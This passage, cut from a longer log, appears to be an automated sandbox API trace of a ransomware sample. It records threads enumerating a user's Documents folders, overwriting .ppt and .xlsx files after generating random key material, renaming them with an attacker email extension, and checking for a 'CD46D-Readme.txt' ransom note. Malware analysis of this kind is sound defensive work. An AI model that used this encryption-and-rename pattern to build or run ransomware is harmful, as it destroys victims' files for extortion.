HALPmcxz\\Documents\\My Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos" [0051.745] wcscat (in: _Dest=0x43c630, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\" [0051.745] wcscat (in: _Dest=0x43c630, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\*" [0051.745] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42dab8 [0051.745] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\*", lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0051.745] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42dab8) returned 1 [0051.745] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43c630) returned 1 [0051.745] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43c390) returned 1 Thread: id = 848 os_tid = 0x111c [0051.746] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\N0UT9TTyc3.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\n0ut9ttyc3.ppt")) returned 0x20 [0051.746] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\N0UT9TTyc3.ppt", dwFileAttributes=0x20) returned 1 [0052.900] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\N0UT9TTyc3.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\n0ut9ttyc3.ppt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe7c [0052.900] GetFileSizeEx (in: hFile=0xe7c, lpFileSize=0x632f974 | out: lpFileSize=0x632f974*=27775) returned 1 [0052.900] SetFilePointerEx (in: hFile=0xe7c, liDistanceToMove=0x6c7b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.900] ReadFile (in: hFile=0xe7c, lpBuffer=0x632f8f8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x632f8f4, lpOverlapped=0x0 | out: lpBuffer=0x632f8f8*, lpNumberOfBytesRead=0x632f8f4*=0x4, lpOverlapped=0x0) returned 1 [0052.901] SetFilePointerEx (in: hFile=0xe7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.901] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428c58 [0052.901] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428d70 [0052.901] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428de8 [0052.901] NtQuerySystemTime (in: CurrentTime=0x632f8d4 | out: CurrentTime=0x632f8d4*=132174898168764000) returned 0x0 [0052.901] RtlRandomEx (in: Seed=0x632f8e0 | out: Seed=0x632f8e0) returned 0x4c929f09 [0052.901] RtlRandomEx (in: Seed=0x632f8e0 | out: Seed=0x632f8e0) returned 0xb3be2d6 [0052.901] RtlRandomEx (in: Seed=0x632f8e0 | out: Seed=0x632f8e0) returned 0x5a46abf5 [0052.901] RtlRandomEx (in: Seed=0x632f8e0 | out: Seed=0x632f8e0) returned 0x2c83401 [0052.902] RtlRandomEx (in: Seed=0x632f8e0 | out: Seed=0x632f8e0) returned 0x25ad9dad [0052.902] RtlRandomEx (in: Seed=0x632f8e0 | out: Seed=0x632f8e0) returned 0x7d065bd0 [0052.902] RtlRandomEx (in: Seed=0x632f8e0 | out: Seed=0x632f8e0) returned 0xa7964ec [0052.902] RtlRandomEx (in: Seed=0x632f8e0 | out: Seed=0x632f8e0) returned 0xd0a3b90 [0052.902] RtlRandomEx (in: Seed=0x632f8e0 | out: Seed=0x632f8e0) returned 0x3ba8838b [0052.902] RtlRandomEx (in: Seed=0x632f8e0 | out: Seed=0x632f8e0) returned 0x35245f94 [0052.902] RtlRandomEx (in: Seed=0x632f8e0 | out: Seed=0x632f8e0) returned 0x68f9ad58 [0052.902] RtlRandomEx (in: Seed=0x632f8e0 | out: Seed=0x632f8e0) returned 0x570fb5c1 [0052.902] RtlRandomEx (in: Seed=0x632f8e0 | out: Seed=0x632f8e0) returned 0x43714754 [0052.902] RtlRandomEx (in: Seed=0x632f8e0 | out: Seed=0x632f8e0) returned 0x26d68303 [0052.902] RtlRandomEx (in: Seed=0x632f8e0 | out: Seed=0x632f8e0) returned 0xfc41cf0 [0052.902] RtlRandomEx (in: Seed=0x632f8e0 | out: Seed=0x632f8e0) returned 0x601f9d25 [0052.902] RtlRandomEx (in: Seed=0x632f8e0 | out: Seed=0x632f8e0) returned 0x627c95ce [0052.902] RtlRandomEx (in: Seed=0x632f8e0 | out: Seed=0x632f8e0) returned 0x50a7ac87 [0052.902] RtlRandomEx (in: Seed=0x632f8e0 | out: Seed=0x632f8e0) returned 0x6aa09b46 [0052.902] RtlRandomEx (in: Seed=0x632f8e0 | out: Seed=0x632f8e0) returned 0x2ae08fb8 [0052.902] RtlRandomEx (in: Seed=0x632f8e0 | out: Seed=0x632f8e0) returned 0x3c4916b1 [0052.902] RtlRandomEx (in: Seed=0x632f8e0 | out: Seed=0x632f8e0) returned 0x39028701 [0052.902] RtlRandomEx (in: Seed=0x632f8e0 | out: Seed=0x632f8e0) returned 0x3e6c1f1e [0052.902] RtlRandomEx (in: Seed=0x632f8e0 | out: Seed=0x632f8e0) returned 0x319e4a09 [0052.902] RtlRandomEx (in: Seed=0x632f8e0 | out: Seed=0x632f8e0) returned 0x7d2348c3 [0052.902] RtlRandomEx (in: Seed=0x632f8e0 | out: Seed=0x632f8e0) returned 0x47666cd2 [0052.902] RtlRandomEx (in: Seed=0x632f8e0 | out: Seed=0x632f8e0) returned 0x26dbd169 [0052.902] RtlRandomEx (in: Seed=0x632f8e0 | out: Seed=0x632f8e0) returned 0x6c87a8ad [0052.902] RtlRandomEx (in: Seed=0x632f8e0 | out: Seed=0x632f8e0) returned 0x620532b7 [0052.902] RtlRandomEx (in: Seed=0x632f8e0 | out: Seed=0x632f8e0) returned 0x6bb16ced [0052.902] RtlRandomEx (in: Seed=0x632f8e0 | out: Seed=0x632f8e0) returned 0x2034d40f [0052.902] RtlRandomEx (in: Seed=0x632f8e0 | out: Seed=0x632f8e0) returned 0x1a189be5 [0052.915] ReadFile (in: hFile=0xe7c, lpBuffer=0x196b7980, nNumberOfBytesToRead=0x6c7f, lpNumberOfBytesRead=0x632f8d0, lpOverlapped=0x0 | out: lpBuffer=0x196b7980*, lpNumberOfBytesRead=0x632f8d0*=0x6c7f, lpOverlapped=0x0) returned 1 [0052.916] SetFilePointerEx (in: hFile=0xe7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.916] WriteFile (in: hFile=0xe7c, lpBuffer=0x196c4188*, nNumberOfBytesToWrite=0x6c7f, lpNumberOfBytesWritten=0x632f8cc, lpOverlapped=0x0 | out: lpBuffer=0x196c4188*, lpNumberOfBytesWritten=0x632f8cc*=0x6c7f, lpOverlapped=0x0) returned 1 [0056.502] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441258 [0056.502] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441230 [0056.502] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441230) returned 1 [0056.502] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x196c4188) returned 1 [0056.502] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x196b7980) returned 1 [0056.502] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437850) returned 1 [0056.502] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c1b0) returned 1 [0056.502] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x29) returned 0x40ad08 [0056.502] SetFilePointerEx (in: hFile=0xe7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.502] WriteFile (in: hFile=0xe7c, lpBuffer=0x4452d8*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x632f934, lpOverlapped=0x0 | out: lpBuffer=0x4452d8*, lpNumberOfBytesWritten=0x632f934*=0x10d, lpOverlapped=0x0) returned 1 [0056.611] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4452d8) returned 1 [0056.611] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40ac98) returned 1 [0056.611] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441230) returned 1 [0056.611] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40ad08) returned 1 [0056.611] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441258) returned 1 [0056.611] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428d70) returned 1 [0056.611] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428e10) returned 1 [0056.611] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428e38) returned 1 [0056.611] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb6) returned 0x5e027e0 [0056.611] wcscpy (in: _Dest=0x5e027e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\N0UT9TTyc3.ppt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\N0UT9TTyc3.ppt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\N0UT9TTyc3.ppt" [0056.611] wcscat (in: _Dest=0x5e027e0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\N0UT9TTyc3.ppt.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\N0UT9TTyc3.ppt.mailto[2Hamlampampom@cock.li].cd46d" [0056.611] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\N0UT9TTyc3.ppt.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x632f8ec, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\N0UT9TTyc3.ppt.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0056.611] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xcc) returned 0x40da48 [0056.637] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40da48) returned 1 [0056.637] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d6f18) returned 1 [0056.637] NtQueryInformationFile (in: FileHandle=0xe7c, IoStatusBlock=0x632f8f8, FileInformation=0x632f8d0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x632f8f8, FileInformation=0x632f8d0) returned 0x0 [0056.637] NtSetInformationFile (FileHandle=0xe7c, IoStatusBlock=0x632f8f8, FileInformation=0x632f8d0, Length=0x28, FileInformationClass=0x4) returned 0x0 [0056.653] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e027e0) returned 1 [0056.653] FlushFileBuffers (hFile=0xe7c) returned 1 [0056.656] CloseHandle (hObject=0xe7c) returned 1 [0056.677] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400698 [0056.677] wcscpy (in: _Dest=0x400698, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0056.677] wcscat (in: _Dest=0x400698, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" [0056.677] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cd46d-readme.txt")) returned 0x20 [0056.677] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400698) returned 1 [0056.677] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed5c88) returned 1 Thread: id = 849 os_tid = 0x1120 [0051.746] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ni1jZ.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ni1jz.xlsx")) returned 0x20 [0051.746] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ni1jZ.xlsx", dwFileAttributes=0x20) returned 1 [0052.916] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ni1jZ.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ni1jz.xlsx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe80 [0052.917] GetFileSizeEx (in: hFile=0xe80, lpFileSize=0x1560fe94 | out: lpFileSize=0x1560fe94*=77599) returned 1 [0052.917] SetFilePointerEx (in: hFile=0xe80, liDistanceToMove=0x12f1b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.917] ReadFile (in: hFile=0xe80, lpBuffer=0x1560fe18, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1560fe14, lpOverlapped=0x0 | out: lpBuffer=0x1560fe18*, lpNumberOfBytesRead=0x1560fe14*=0x4, lpOverlapped=0x0) returned 1 [0052.917] SetFilePointerEx (in: hFile=0xe80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.917] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428c58 [0052.918] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428de8 [0052.918] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428e60 [0052.918] NtQuerySystemTime (in: CurrentTime=0x1560fdf4 | out: CurrentTime=0x1560fdf4*=132174898168920000) returned 0x0 [0052.918] RtlRandomEx (in: Seed=0x1560fe00 | out: Seed=0x1560fe00) returned 0x1c4d330e [0052.918] RtlRandomEx (in: Seed=0x1560fe00 | out: Seed=0x1560fe00) returned 0x79944da1 [0052.918] RtlRandomEx (in: Seed=0x1560fe00 | out: Seed=0x1560fe00) returned 0x4550fd1f [0052.918] RtlRandomEx (in: Seed=0x1560fe00 | out: Seed=0x1560fe00) returned 0x4d2e7df5 [0052.918] RtlRandomEx (in: Seed=0x1560fe00 | out: Seed=0x1560fe00) returned 0x7255212 [0052.918] RtlRandomEx (in: Seed=0x1560fe00 | out: Seed=0x1560fe00) returned 0x6acce72b [0052.918] RtlRandomEx (in: Seed=0x1560fe00 | out: Seed=0x1560fe00) returned 0x6b86942d [0052.918] RtlRandomEx (in: Seed=0x1560fe00 | out: Seed=0x1560fe00) returned 0x1e71cf85 [0052.918] RtlRandomEx (in: Seed=0x1560fe00 | out: Seed=0x1560fe00) returned 0x3c0c3878 [0052.918] RtlRandomEx (in: Seed=0x1560fe00 | out: Seed=0x1560fe00) returned 0x2fe20d1c [0052.918] RtlRandomEx (in: Seed=0x1560fe00 | out: Seed=0x1560fe00) returned 0x12bb247f [0052.918] RtlRandomEx (in: Seed=0x1560fe00 | out: Seed=0x1560fe00) returned 0x60e53825 [0052.918] RtlRandomEx (in: Seed=0x1560fe00 | out: Seed=0x1560fe00) returned 0x7d8f27b0 [0052.918] RtlRandomEx (in: Seed=0x1560fe00 | out: Seed=0x1560fe00) returned 0x5435de3a [0052.918] RtlRandomEx (in: Seed=0x1560fe00 | out: Seed=0x1560fe00) returned 0x2b549776 [0052.918] RtlRandomEx (in: Seed=0x1560fe00 | out: Seed=0x1560fe00) returned 0x35bb461a [0052.918] RtlRandomEx (in: Seed=0x1560fe00 | out: Seed=0x1560fe00) returned 0x35de803e [0052.918] RtlRandomEx (in: Seed=0x1560fe00 | out: Seed=0x1560fe00) returned 0x5b62a9a [0052.918] RtlRandomEx (in: Seed=0x1560fe00 | out: Seed=0x1560fe00) returned 0x677fdc0a [0052.918] RtlRandomEx (in: Seed=0x1560fe00 | out: Seed=0x1560fe00) returned 0x5dbb92c [0052.918] RtlRandomEx (in: Seed=0x1560fe00 | out: Seed=0x1560fe00) returned 0x3fc66acb [0052.918] RtlRandomEx (in: Seed=0x1560fe00 | out: Seed=0x1560fe00) returned 0x37510b5f [0052.918] RtlRandomEx (in: Seed=0x1560fe00 | out: Seed=0x1560fe00) returned 0x41a3bec6 [0052.918] RtlRandomEx (in: Seed=0x1560fe00 | out: Seed=0x1560fe00) returned 0x80aa89d [0052.918] RtlRandomEx (in: Seed=0x1560fe00 | out: Seed=0x1560fe00) returned 0x129f706e [0052.918] RtlRandomEx (in: Seed=0x1560fe00 | out: Seed=0x1560fe00) returned 0x1a918bb4 [0052.919] RtlRandomEx (in: Seed=0x1560fe00 | out: Seed=0x1560fe00) returned 0x7fd1e26b [0052.919] RtlRandomEx (in: Seed=0x1560fe00 | out: Seed=0x1560fe00) returned 0x24f58b69 [0052.919] RtlRandomEx (in: Seed=0x1560fe00 | out: Seed=0x1560fe00) returned 0x6a29f6e3 [0052.919] RtlRandomEx (in: Seed=0x1560fe00 | out: Seed=0x1560fe00) returned 0x2d7d6ac4 [0052.919] RtlRandomEx (in: Seed=0x1560fe00 | out: Seed=0x1560fe00) returned 0x67274c86 [0052.919] RtlRandomEx (in: Seed=0x1560fe00 | out: Seed=0x1560fe00) returned 0x26c35463 [0052.932] SetFilePointerEx (in: hFile=0xe80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.932] ReadFile (in: hFile=0xe80, lpBuffer=0x196d0990, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1560fdd4, lpOverlapped=0x0 | out: lpBuffer=0x196d0990*, lpNumberOfBytesRead=0x1560fdd4*=0xc800, lpOverlapped=0x0) returned 1 [0052.932] SetFilePointerEx (in: hFile=0xe80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.932] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c1f8 [0052.932] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x4378c8 [0052.932] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428c58 [0052.932] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428c58) returned 1 [0052.933] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x196dd198 [0052.938] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428c58 [0052.938] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428e60 [0052.938] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428e60) returned 1 [0052.938] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4378c8) returned 1 [0052.938] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c1f8) returned 1 [0052.938] WriteFile (in: hFile=0xe80, lpBuffer=0x196dd198*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1560fdd4, lpOverlapped=0x0 | out: lpBuffer=0x196dd198*, lpNumberOfBytesWritten=0x1560fdd4*=0xc800, lpOverlapped=0x0) returned 1 [0053.446] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x196dd198) returned 1 [0053.446] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x196d0990) returned 1 [0053.446] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x21) returned 0x97ce430 [0053.446] SetFilePointerEx (in: hFile=0xe80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.446] WriteFile (in: hFile=0xe80, lpBuffer=0x44e420*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0x1560fe54, lpOverlapped=0x0 | out: lpBuffer=0x44e420*, lpNumberOfBytesWritten=0x1560fe54*=0x105, lpOverlapped=0x0) returned 1 [0053.922] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44e420) returned 1 [0053.922] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce460) returned 1 [0053.922] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ed930) returned 1 [0053.922] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce430) returned 1 [0053.922] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428c58) returned 1 [0053.922] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428de8) returned 1 [0053.922] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428e88) returned 1 [0053.922] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428eb0) returned 1 [0053.922] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xae) returned 0x45cbf0 [0053.922] wcscpy (in: _Dest=0x45cbf0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ni1jZ.xlsx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ni1jZ.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ni1jZ.xlsx" [0053.922] wcscat (in: _Dest=0x45cbf0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ni1jZ.xlsx.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ni1jZ.xlsx.mailto[2Hamlampampom@cock.li].cd46d" [0053.922] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ni1jZ.xlsx.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x1560fe0c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ni1jZ.xlsx.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.922] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc4) returned 0x5e00c90 [0053.966] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00c90) returned 1 [0053.966] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48eaa8) returned 1 [0053.966] NtQueryInformationFile (in: FileHandle=0xe80, IoStatusBlock=0x1560fe18, FileInformation=0x1560fdf0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1560fe18, FileInformation=0x1560fdf0) returned 0x0 [0053.966] NtSetInformationFile (FileHandle=0xe80, IoStatusBlock=0x1560fe18, FileInformation=0x1560fdf0, Length=0x28, FileInformationClass=0x4) returned 0x0 [0053.968] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45cbf0) returned 1 [0053.968] FlushFileBuffers (hFile=0xe80) returned 1 [0054.050] CloseHandle (hObject=0xe80) returned 1 [0054.051] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x12e08e18 [0054.051] wcscpy (in: _Dest=0x12e08e18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0054.052] wcscat (in: _Dest=0x12e08e18, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" [0054.052] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cd46d-readme.txt")) returned 0x20 [0054.052] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e08e18) returned 1 [0054.052] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43c400) returned 1 Thread: id = 850 os_tid = 0x1124 [0051.747] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x4371c0 [0051.747] wcscpy (in: _Dest=0x4371c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files" [0051.747] wcscat (in: _Dest=0x4371c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\" [0051.747] wcscat (in: _Dest=0x4371c0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*" [0051.747] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42dab8 [0051.747] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*", lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a168 [0051.920] wcscmp (_String1=".", _String2=".") returned 0 [0051.920] FindNextFileW (in: hFindFile=0x40a168, lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.920] wcscmp (_String1="..", _String2=".") returned 1 [0051.920] wcscmp (_String1="..", _String2="..") returned 0 [0051.920] FindNextFileW (in: hFindFile=0x40a168, lpFindFileData=0x42dab8 | out: lpFindFileData=0x42dab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, 